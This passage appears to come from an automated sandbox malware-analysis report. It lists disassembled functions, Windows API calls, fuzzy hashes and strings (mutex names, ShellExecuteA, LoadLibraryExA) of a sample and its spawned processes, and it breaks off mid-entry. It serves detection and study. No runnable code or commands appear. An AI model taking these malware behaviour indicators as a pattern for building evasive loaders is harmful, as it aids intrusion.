                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __calloc_crt
                                              • String ID: @KD
                                              • API String ID: 3494438863-3991357333
                                              • Opcode ID: a90a9533aec4a570e1fae3d376ab46891d22f978bb6e03b5789b1004da75b72d
                                              • Instruction ID: c08a6c5aba06123d944b3259babb617844951d637b74b7fea9a141f63dfb3cf5
                                              • Opcode Fuzzy Hash: a90a9533aec4a570e1fae3d376ab46891d22f978bb6e03b5789b1004da75b72d
                                              • Instruction Fuzzy Hash: 46113D35304B2097F7348F6EBC553696391EB96724BA4427BE610CA3E4D738E881869C
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004250CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 0041E851: __getptd.LIBCMT ref: 0041E857
                                                • Part of subcall function 0041E851: __getptd.LIBCMT ref: 0041E867
                                              • __getptd.LIBCMT ref: 004250DD
                                                • Part of subcall function 0042269C: __getptd_noexit.LIBCMT ref: 0042269F
                                                • Part of subcall function 0042269C: __amsg_exit.LIBCMT ref: 004226AC
                                              • __getptd.LIBCMT ref: 004250EB
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __getptd$__amsg_exit__getptd_noexit
                                              • String ID: csm
                                              • API String ID: 803148776-1018135373
                                              • Opcode ID: 2da0bc4781887e381b410ff6a33277cf7bc3366df79b75e798bc7efbf830cd2a
                                              • Instruction ID: 436c105851dd8d191a18dcaeeb548a9fdd61c004c5846c184a26cc02ee280cb2
                                              • Opcode Fuzzy Hash: 2da0bc4781887e381b410ff6a33277cf7bc3366df79b75e798bc7efbf830cd2a
                                              • Instruction Fuzzy Hash: D5017835E10A258ACF34AF22F4407BEB3B6BF10311F94542FE44156251CB388AE1CA58
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 005273F3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33sleepthreadCOMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 0052B4D4: GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,?,?,?,00000000), ref: 0052B517
                                                • Part of subcall function 0052B4D4: GetCurrentProcess.KERNEL32(?,00000000), ref: 0052B527
                                                • Part of subcall function 0052B4D4: DuplicateHandle.KERNEL32(00000000), ref: 0052B52E
                                                • Part of subcall function 0052B4D4: SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0052B54B
                                              • CreateThread.KERNEL32(00000000,00000000,Function_00127271,00000000,00000000,00540AE0), ref: 00527438
                                              • Sleep.KERNEL32(00000064), ref: 00527440
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CurrentProcess$CreateDuplicateFileHandlePointerSleepThread
                                              • String ID: _splashscreen.bmp
                                              • API String ID: 385483898-3284031493
                                              • Opcode ID: d07006e9258289e6a9e83dcb9b503361d3b36b161b6c04aab5d8200d7c4341e3
                                              • Instruction ID: b47f1ecf85b47c1397572de0157c6968b52022a52ad5886bb1aa437620db6c39
                                              • Opcode Fuzzy Hash: d07006e9258289e6a9e83dcb9b503361d3b36b161b6c04aab5d8200d7c4341e3
                                              • Instruction Fuzzy Hash: 39F0F831684319BAEF15ABA0EC4BF9D7E69BF49B04F200054B201B40D197B16A50A755
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 005354BA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON
                                              Download Yara Rule
                                              APIs
                                              • GetFullPathNameA.KERNEL32(?,?,?,?), ref: 005354F8
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: FullNamePath
                                              • String ID: SearchPathA$kernel32.dll
                                              • API String ID: 608056474-500663355
                                              • Opcode ID: 27b45af2a095ae792bccf97cbf477a1228ca82a11a86d19f23ef29c96ad3b644
                                              • Instruction ID: e91b1d2adc575bd7484c55659757ddb8d26a45e36e2d599d0a3602356a244a56
                                              • Opcode Fuzzy Hash: 27b45af2a095ae792bccf97cbf477a1228ca82a11a86d19f23ef29c96ad3b644
                                              • Instruction Fuzzy Hash: C5F0E23210020AFBDF029F90ED0AA9E3F72FF48354F208018F915651A1EB76AA61EF54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0053121D Relevance: 5.1, APIs: 4, Instructions: 82COMMON
                                              Download Yara Rule
                                              APIs
                                              • EnterCriticalSection.KERNEL32(-00000010,00531218), ref: 00531244
                                              • LeaveCriticalSection.KERNEL32(-00000010,?,00531218), ref: 00531291
                                              • EnterCriticalSection.KERNEL32(-00000010), ref: 005312D9
                                              • LeaveCriticalSection.KERNEL32(-00000010,00000000,00536E00), ref: 00531331
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CriticalSection$EnterLeave
                                              • String ID:
                                              • API String ID: 3168844106-0
                                              • Opcode ID: a1488297fece4358782cf4c6fa6264dab3b9a39cf1b2c08518fadd77b535d38f
                                              • Instruction ID: d56a8f8a91832b4265febceab52dc68ee58768e2f477a8b3561d0b43a942af3a
                                              • Opcode Fuzzy Hash: a1488297fece4358782cf4c6fa6264dab3b9a39cf1b2c08518fadd77b535d38f
                                              • Instruction Fuzzy Hash: 2041F575D04668DFDB208FA9DC49BADBFB0BB14304F00849AE459E7391CB74A984EF18
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00750005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000020.00000002.532221816.0000000000750000.00000040.00000001.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_32_2_750000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: 78a37ccf07de6e4cecf9bf0b96429c9ebf6da5967f1357208aa45a91353949f2
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 10614071640288ABEF11DFA0CD49FEE3768EF04702F540515EE09BE1E0D6B59A488B9B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 007506D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000020.00000002.532221816.0000000000750000.00000040.00000001.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_32_2_750000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: bda8f467b387818e8079ccb74cee510828a05c16eef9e12d621208ba30e9f466
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 51B14C75A002898FEF10CF14CD44BE937A5FF54315F584915DC0DAF2A1D7B9AA88CB8A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00750260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000020.00000002.532221816.0000000000750000.00000040.00000001.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_32_2_750000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: dde5f09865672c295d41705fe2233ea0f6433eb0037cb9121118fa024bab3ec2
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: F011E171644289ABEF10DEA08D4DFEE37A8EF44B02F440415FE09EE0E0DAF59644876B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00500005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000021.00000002.531673069.0000000000500000.00000040.00000001.00020000.00000000.sdmp, Offset: 00500000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_33_2_500000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: 1929f2b6618b419af0109bc80bc23f9c691d0ed153062579129ac49d5e992b97
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 6C614D71240289ABEF11DFA0CD49FEE3B68FF44701F541515EE09BE1E0D6B1A644CB2A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 005006D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000021.00000002.531673069.0000000000500000.00000040.00000001.00020000.00000000.sdmp, Offset: 00500000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_33_2_500000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: 2b427c0f95cdbd7cc949afb0d4cbd3aa6fb2349a6fa37637775d685c39f59b5b
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 9AB13775A002898FEF10CF18CD84BAD3BA5FF54314F585925DC09AF2E1D775AA80CB8A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00500260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000021.00000002.531673069.0000000000500000.00000040.00000001.00020000.00000000.sdmp, Offset: 00500000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_33_2_500000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: 05f1f61492b4835ce947d3730b089521b30e59bc3044e3e45bf9bac5406f8cbb
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 1811D275244249ABEF50DEA0CD4DFDE3759AF44B01F441415BE09EE0D0DAB19640876B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00CD0005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000022.00000002.533598903.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_34_2_cd0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: b7585b3ca852cc3c1ff59c88c4b2d1865b96cbad022b4ae992504da9c694f910
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: BC617171240288ABEF10DFA4CD49FEE3768EF45701F640516EF09BE2E0D6B1A6448B1E
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00CD06D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000022.00000002.533598903.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_34_2_cd0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: e568ce87da88a60d701a15c35e21e3b1e52d2a76e6cb4e7bd7ae9c2ce035061b
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: A8B13875A002898FEF10CF18CD84BA937A5BF54304F694916DE0DAF3A1D775AA80CB4A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00CD0260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000022.00000002.533598903.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_34_2_cd0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: 05052e6c83e056f5104805b48a0ebc4ec933935e9c097f99c52bd29e759008a7
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: D6112D71240288ABEF10DEA48D4DFEE37A8EF94B01F140415FA09EE1E0DAB19700872B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 003A0005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000023.00000002.529630849.00000000003A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_35_2_3a0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: 24fc4c399062019091888e7d334479242e4e77ed7f613e93b6c1461b5831f89f
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: 74615171640388ABEF16DFA0CD49FEA3768EF06701F540515EE09BE1E0D7B1A6448B6E
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 003A06D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000023.00000002.529630849.00000000003A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_35_2_3a0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: 932c16d507c0b3446c9cbec85d29fb0312681ce10b71f55080b5dea67ef617db
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 06B16A75A002898FEF15CF14CD84BE937A9FF56304F494919DC0DAF2A1D776AA80CB4A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 003A0260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000023.00000002.529630849.00000000003A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 003A0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_35_2_3a0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: 7eada768e8bd661b3fb9235eef6e2f55243df65c75747c3a3921293e11a92d6d
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 5A11E171244389ABEF15DEE08D4DFEE37A8EF55B01F440815FA09EE0E0DAB59640876B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 00F80005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000024.00000002.530508689.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_36_2_f80000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$GetProcAddress$KERNEL32.DLL$LoadLibraryExA$SHELL32.DLL$ShellExecuteA$hh8geqpHJTkdns0$open$purity_control_90833
                                              • API String ID: 0-1416619028
                                              • Opcode ID: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction ID: 559641e2d6862dafb4d33d502a39e2b0e1c402e7f38c8cd7d977e3e8df67c247
                                              • Opcode Fuzzy Hash: 96e280728cb36d01826181ba13f4af670552580dda6a6eb6cefebc170479a45c
                                              • Instruction Fuzzy Hash: E7617171640288ABEF51EFA0CD49FEA3768EF04B11F940515FE09BE1F0DAB156489B1E
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00F806D2 Relevance: .3, Instructions: 256COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000024.00000002.530508689.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_36_2_f80000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction ID: c06665dc49f9d0e615f2dbeccd42cf8dbc9a9517808e8d3cd6ad3942a25f8c0b
                                              • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                              • Instruction Fuzzy Hash: 1FB17A75A002898FEF50DF14CD84BE937A5FF54310F884925DC0DAF2A1DB75AA88DB4A
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00F80260 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000024.00000002.530508689.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_36_2_f80000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: Ap1mutx7$SHELL32.DLL$ShellExecuteA$open
                                              • API String ID: 0-1163154406
                                              • Opcode ID: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction ID: a32a958a1a2a74a60dafd0f1ef3d66635e3068f9ec80953689b3220f9d17535f
                                              • Opcode Fuzzy Hash: 36b593c59ec898a90d68699771312637cce796dd103ad912b1aaf6045c5bf933
                                              • Instruction Fuzzy Hash: 51112171640688ABEF50EEA08D4DFEE37A8EF44B11F440414FA09EE0E0DEB19604972B
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Executed Functions

                                              Function 007B0005 Relevance: 11.4, Strings: 9, Instructions: 164COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000025.00000002.529627442.00000000007B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_37_2_7b0000_mnIfGXLiqWUjFj.jbxd
                                              Similarity
